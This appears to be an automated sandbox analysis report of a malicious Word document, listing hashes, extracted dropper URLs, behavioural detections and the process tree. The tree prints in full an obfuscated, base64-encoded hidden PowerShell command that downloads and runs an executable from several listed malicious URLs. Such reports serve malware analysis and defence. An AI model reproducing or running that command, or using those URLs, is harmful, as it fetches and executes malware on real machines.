Analysis
- max time kernel
130s - max time network
125s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
29/05/2024, 17:59
Static task
static1
Behavioral task
behavioral1
Sample
816394d70074e0abe9fd538275d9f466_JaffaCakes118.doc
Resource
win7-20240508-en
15 signatures
150 seconds
General
- Target 816394d70074e0abe9fd538275d9f466_JaffaCakes118.doc
- Size 139KB
- Sample240529-wkvjvsdc49
- SHA256 e34fa966fd234ccbb5a94a53017bf89970e4e43a4fc5bfa3b7b8fe604db1f937
- MD5 816394d70074e0abe9fd538275d9f466
- SHA1 1d2fc181b078546be2b1618dbe125e706f400c08
- SHA512 6ce225fef019a696cd6d37d4126067989095cae46157557aab367fce0e0cd7f00b24115609a0abc5c6c5500fc3d4c16ad00668062cd7245d394b5f3b873070ab
- SSDEEP 3072:A77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q3DdUL3MsMklfoXYm:A77HUUUUUUUUUUUUUUUUUUUT52VkhUcl
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://mobilizr.com/slagmite/vfao_7pkco0lob-674967226/
-
exe.dropper
http://mmesupport.com/upload_docs/7qnxu0_on92iv5o8u-07294/
-
exe.dropper
https://miv-survey.com/ws/xz8yftcm6t_bdxduwga3w-3/
-
exe.dropper
http://moolo.pl/pub/NauVcJcbPH/
-
exe.dropper
http://mstation.jp/2004christmas/ybgiax_c3bk83e7-33621494/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1000 3480 powershell.exe 84 - Blocklisted process makes network request 7 IoCs
flow pid Process 23 1000 powershell.exe 28 1000 powershell.exe 88 1000 powershell.exe 90 1000 powershell.exe 91 1000 powershell.exe 94 1000 powershell.exe 96 1000 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1000 powershell.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4544 WINWORD.EXE 4544 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1000 powershell.exe 1000 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1000 powershell.exe - Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 4544 WINWORD.EXE 4544 WINWORD.EXE 4544 WINWORD.EXE 4544 WINWORD.EXE 4544 WINWORD.EXE 4544 WINWORD.EXE 4544 WINWORD.EXE - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4544 wrote to memory of 2524 4544 WINWORD.EXE 88 PID 4544 wrote to memory of 2524 4544 WINWORD.EXE 88
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\816394d70074e0abe9fd538275d9f466_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2524
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABTADMAMgAxADkANAAzAD0AJwBZADMANgA0ADEANgAzADgAJwA7ACQASwA4ADMAXwA2ADcAMQAxACAAPQAgACcAMQAzADUAJwA7ACQAaQA5ADAANAA2ADEANAA9ACcAVAA5ADAANgA0ADUAJwA7ACQAagAwADUAMwA3ADYANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASwA4ADMAXwA2ADcAMQAxACsAJwAuAGUAeABlACcAOwAkAG4AOABfADQANAA2ADUAPQAnAFMAMwA2ADQAMAAwADkANQAnADsAJAByADgAXwAzADIAMQAxADkAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBgAFQALgBXAGAAZQBiAEMATABJAGUAYABOAFQAOwAkAFoANwA2ADEAMQAzADgAMwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBiAGkAbABpAHoAcgAuAGMAbwBtAC8AcwBsAGEAZwBtAGkAdABlAC8AdgBmAGEAbwBfADcAcABrAGMAbwAwAGwAbwBiAC0ANgA3ADQAOQA2ADcAMgAyADYALwBAAGgAdAB0AHAAOgAvAC8AbQBtAGUAcwB1AHAAcABvAHIAdAAuAGMAbwBtAC8AdQBwAGwAbwBhAGQAXwBkAG8AYwBzAC8ANwBxAG4AeAB1ADAAXwBvAG4AOQAyAGkAdgA1AG8AOAB1AC0AMAA3ADIAOQA0AC8AQABoAHQAdABwAHMAOgAvAC8AbQBpAHYALQBzAHUAcgB2AGUAeQAuAGMAbwBtAC8AdwBzAC8AeAB6ADgAeQBmAHQAYwBtADYAdABfAGIAZAB4AGQAdQB3AGcAYQAzAHcALQAzAC8AQABoAHQAdABwADoALwAvAG0AbwBvAGwAbwAuAHAAbAAvAHAAdQBiAC8ATgBhAHUAVgBjAEoAYwBiAFAASAAvAEAAaAB0AHQAcAA6AC8ALwBtAHMAdABhAHQAaQBvAG4ALgBqAHAALwAyADAAMAA0AGMAaAByAGkAcwB0AG0AYQBzAC8AeQBiAGcAaQBhAHgAXwBjADMAYgBrADgAMwBlADcALQAzADMANgAyADEANAA5ADQALwAnAC4AUwBQAEwASQBUACgAJwBAACcAKQA7ACQAVwA5ADcAOABfADYAMgA9ACcAVgAxADEANwAyADgAXwA2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABhADcANwBfADkAMAA2ADgAIABpAG4AIAAkAFoANwA2ADEAMQAzADgAMwApAHsAdAByAHkAewAkAHIAOABfADMAMgAxADEAOQAuAEQATwB3AE4AbABvAGEARABGAEkAbABFACgAJABhADcANwBfADkAMAA2ADgALAAgACQAagAwADUAMwA3ADYANgApADsAJABPADMANQA4ADkAOAA9ACcAbQA2ADAAMQAxADYAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlAG0AJwApACAAJABqADAANQAzADcANgA2ACkALgBsAGUATgBHAFQAaAAgAC0AZwBlACAAMwA2ADAAMwA3ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AJwArACcAawBlACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAGoAMAA1ADMANwA2ADYAOwAkAEoAXwBfADkAMwAwADgAMwA9ACcAaQA1ADcAXwA1ADYAJwA7AGIAcgBlAGEAawA7ACQAVQAxADEAOQBfADAANQA9ACcAdAA1AF8ANwA5ADMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwA0ADUAMQA0ADkANgAyAD0AJwBuADIANgA1ADcAMAAwACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1000
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\284F0C83.wmf
- Size 444B
- SHA256 5bdf726837b1c5744265ad2e5dd170e60ebcf90b25c0d89f49859eebbecdbb26
- MD5 9c4c8bc36502a32cfaa0223199297dcd
- SHA1 3398debcacee5773131ba8ef55cf54bb35b87ef1
- SHA512 75279bfa41feff153cc330ffa1b3620edf4e3ecdabd2322c1ea146ae5834948f28a59f5842bcdbccfea4399512a47a7fb50eb0968e160bc495550b96f3b6ce8c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\TCD8AFE.tmp\gb.xsl
- Size 262KB
- SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
- MD5 51d32ee5bc7ab811041f799652d26e04
- SHA1 412193006aa3ef19e0a57e16acf86b830993024a
- SHA512 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
- SSDEEP 6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qdhcw2sv.px5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512